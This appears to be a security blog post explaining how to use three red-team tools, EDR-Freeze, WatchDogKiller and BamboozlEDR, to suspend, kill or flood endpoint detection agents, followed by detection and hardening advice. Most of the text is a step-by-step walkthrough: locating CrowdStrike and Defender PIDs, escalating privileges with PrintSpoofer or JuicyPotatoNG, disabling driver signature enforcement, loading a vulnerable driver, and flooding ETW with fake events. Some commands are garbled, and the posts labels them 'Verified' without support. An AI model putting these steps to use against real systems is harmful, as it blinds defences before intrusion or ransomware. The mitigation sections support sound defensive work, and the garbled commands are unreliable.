Listen to this Post
Introduction:
Endpoint Detection and Response (EDR) platforms are the cornerstone of modern enterprise security, but a new wave of red team tools is testing their limits. These utilities employ advanced techniques to disable, deceive, and assess EDRs, providing critical insights for both offensive security professionals and defenders seeking to harden their environments.
Learning Objectives:
- Understand the core functionality and use cases for EDR-Freeze, WatchDogKiller, and BamboozlEDR.
- Learn the practical command-line steps to deploy these tools in a controlled testing environment.
- Develop mitigation strategies to defend against the techniques these tools exploit.
You Should Know:
1. EDR-Freeze: Suspending Security Agents
EDR-Freeze operates by suspending the threads of EDR and antivirus processes, effectively placing them in a temporary coma. This allows red teams to execute subsequent payloads without being monitored.
Verified Command & Guide:
Clone the EDR-Freeze repository git clone https://github.com/Rev3rseSecurity/EDR-Freeze.git cd EDR-Freeze Compile the tool (Requires .NET build tools) csc /target:exe /out:EDRFreeze.exe Program.cs Execute against a target EDR process (e.g., CrowdStrike) EDRFreeze.exe -p <Target_PID>
Step-by-Step Guide:
- Identify Target PID: Use `tasklist | findstr “CrowdStrike”` (Windows) or `Get-Process | Where-Object {$_.ProcessName -like “csagent”}` (PowerShell) to find the Process ID of the EDR agent.
- Compile the Tool: Ensure you have the C compiler (
csc) available, typically through the Visual Studio Build Tools or .NET SDK. - Execute: Run the compiled executable, specifying the PID gathered in step one. The EDR process will remain in a suspended state until the system is rebooted or the process is manually resumed, creating a window for undetected activity.
2. WatchDogKiller: BYOVD Process Termination
Bring Your Own Vulnerable Driver (BYOVD) attacks exploit legitimate but vulnerable signed drivers to gain kernel-level privileges. WatchDogKiller specifically targets the `amsdk.sys` driver to terminate protected security processes.
Verified Command & Guide:
Download the WatchDogKiller PoC git clone https://github.com/jehadAbuDagga/WatchDogKiller.git cd WatchDogKiller Compile the driver and loader (Visual Studio Developer Command Prompt recommended) msbuild WatchDogKiller.sln /p:Configuration=Release Load the vulnerable driver and execute the killer WatchDogKiller.exe
Step-by-Step Guide:
- Privilege Escalation: This attack requires `SYSTEM` or `Administrator` privileges. Use an exploit like `PrintSpoofer.exe` or `JuicyPotatoNG.exe` if necessary.
- Disable Driver Signature Enforcement: On modern Windows systems, you may need to disable DSE temporarily. This can be done via `bcdedit /set nointegritychecks on` and a reboot, or by using a tool like `KDU` to exploit a known-vulnerable signed driver to disable DSE.
- Execute the Killer: Once the vulnerable `amsdk.sys` driver is loaded with high privileges, the `WatchDogKiller.exe` utility can use it to terminate processes that are normally protected by the kernel (e.g., `MsMpEng.exe` for Windows Defender, `CSFalconService.exe` for CrowdStrike).
3. BamboozlEDR: Generating Deceptive ETW Events
Event Tracing for Windows (ETW) is a fundamental data source for EDRs. BamboozlEDR floods EDR sensors with a massive volume of realistic-looking, but benign, security events to obfuscate genuine malicious activity and test detection logic.
Verified Command & Guide:
Install BamboozlEDR via PowerShell Gallery Install-Module -Name BamboozlEDR -Force Import the module Import-Module BamboozlEDR Generate a series of fake PowerShell injection events Invoke-BamboozlEDR -Provider Microsoft-Windows-PowerShell -OperationCode InstrumentationMethod -Count 1000 Generate deceptive Sysmon process creation events (Event ID 1) Invoke-BamboozlEDR -Provider Microsoft-Windows-Sysmon -EventId 1 -Count 500
Step-by-Step Guide:
- Install the Module: Run PowerShell as an administrator to install the module from the PSGallery.
- Select a Provider: Choose the ETW provider you wish to target. Common security providers include
Microsoft-Windows-Threat-Intelligence,Microsoft-Windows-Sysmon, andMicrosoft-Windows-PowerShell. - Specify Event Parameters: Define the type of event (
OperationCode,EventId) and the volume (Count). The tool will generate the specified number of events, which will be consumed by the EDR, potentially triggering alerts or burying real attack signals in noise.
4. Core Technique: Identifying EDR Processes for Targeting
Before using EDR-Freeze or WatchDogKiller, you must accurately identify the running EDR processes.
Verified Commands & Guide:
PowerShell: Get a detailed list of running processes
Get-Process | Select-Object Id, ProcessName, Path | Where-Object {$_.Path -like "Program Files"} | Format-List
Windows Command Find common EDR processes
tasklist /v | findstr /i "crowdstrike carbonblack cybereason sentinelone"
WMIC for advanced process details
wmic process where "name like '%csagent%'" get processid, name, executablepath
Step-by-Step Guide:
- Enumerate Processes: Use the commands above to get a comprehensive list of running processes. Focus on those with paths in `C:\Program Files` or
C:\Program Files (x86). - Identify EDR Indicators: Look for process names associated with common EDR vendors (e.g.,
CSFalconService,MsMpEng,SentinelAgent,CB.EXE). - Note the PID: Once identified, record the Process ID (PID) for use with EDR-Freeze or the target name for WatchDogKiller.
5. Mitigation: Detecting Suspicious Driver Loads
Defending against BYOVD attacks like WatchDogKiller requires vigilant monitoring of loaded drivers.
Verified Command & Guide:
PowerShell: List all loaded kernel drivers
Get-WmiObject Win32_SystemDriver | Where-Object {$_.State -eq "Running"} | Select-Object Name, DisplayName, PathName
Use Sysinternals' Autoruns with command-line output
Autoruns64.exe -t -nobanner > drivers.txt
findstr /i "amsdk.sys" drivers.txt
Step-by-Step Guide:
- Establish a Baseline: In a clean state, document all signed, loaded drivers. This helps identify anomalies later.
- Monitor for New Loads: Use the commands above or a SIEM/EDR query to alert on the loading of new drivers, especially those that are not pre-approved.
- Block Vulnerable Drivers: Microsoft’s Vulnerable Driver Blocklist can be enabled via Windows Defender Application Control or a Group Policy. Regularly update this list to include newly discovered vulnerable drivers like
amsdk.sys.
6. Mitigation: Auditing ETW for Anomalies
To detect tools like BamboozlEDR, monitor ETW providers for unusual volumes or patterns of events.
Verified Command & Guide:
View active ETW sessions (including EDRs) logman query -ets Create a custom ETW trace to monitor for event floods logman create trace "BamboozleMonitor" -ow -o C:\Logs\bmon.etl -p Microsoft-Windows-Sysmon 0xffffffffffffffff logman start "BamboozleMonitor"
Step-by-Step Guide:
- Query Active Sessions: EDRs run as high-volume ETW sessions. Use `logman query` to see them.
- Create a Monitoring Trace: Set up a custom trace session for critical providers like Sysmon or PowerShell. This allows you to capture raw event flow.
- Analyze for Floods: Use a script or SIEM correlation rule to look for an abnormally high rate of events from a single process or over a short period, which could indicate a BamboozlEDR-style attack.
7. Building a Resilient Security Posture
A defense-in-depth strategy is crucial. No single tool can prevent all attacks.
Verified Commands & Guide:
Linux/Mac: Use curl to test API-based EDR health (example)
curl -H "Authorization: Bearer $API_KEY" https://your-edr-console.com/api/health
PowerShell: Verify critical security services are running
Get-Service | Where-Object {$<em>.DisplayName -like "CrowdStrike" -or $</em>.DisplayName -like "Defender"} | Select-Object Name, Status
Step-by-Step Guide:
- Harden the Kernel: Enable Attack Surface Reduction (ASR) rules, configure Microsoft Defender Application Guard, and use Windows Defender Application Control.
- Implement Network Segmentation: Limit lateral movement. If an EDR on one endpoint is frozen, it should not lead to a complete domain compromise.
- Monitor EDR Health: Actively monitor the status of EDR agents and services. An agent that suddenly stops reporting or has its process terminated should trigger a high-severity alert for immediate investigation.
What Undercode Say:
- The Cat-and-Mouse Game Escalates: Offensive tooling is evolving faster than ever, moving from simple malware to tools that directly manipulate and disable the defensive platforms themselves.
- Kernel Integrity is Non-Negotiable: The persistence of signed, vulnerable drivers in the ecosystem represents a critical systemic risk, making BYOVD a highly reliable technique for advanced attackers.
The emergence of tools like EDR-Freeze, WatchDogKiller, and BamboozlEDR signifies a strategic shift in the red team and adversary toolkit. It’s no longer just about evading detection but actively neutralizing the detection mechanism. This forces a fundamental reevaluation of security architecture, which can no longer assume the EDR agent itself is inviolable. Defenses must now be layered, assuming any single control, including the EDR, may fail. Resilience hinges on the ability to detect the manipulation of security tools themselves, through robust kernel-level protections, stringent driver allow-listing, and sophisticated anomaly detection that can spot the “silence” of a frozen EDR or the “noise” of a deception campaign.
Prediction:
The techniques demonstrated by these tools will rapidly be integrated into mainstream attack frameworks like Cobalt Strike and Metasploit, lowering the barrier to entry for mid-tier threat actors. We will see a corresponding rise in “EDR-disable” attacks as a standard precursor to ransomware deployment and data exfiltration. This will force EDR vendors to innovate with new, more resilient architectural models, such as microkernel-based agents, hardware-assisted security (e.g., Intel CET, Microsoft Pluton), and behavioral analytics that can detect their own compromise. The future of endpoint security lies not in a single monolithic agent, but in a distributed, self-defending system capable of operating even when its primary components are under direct assault.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Clintgibler Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
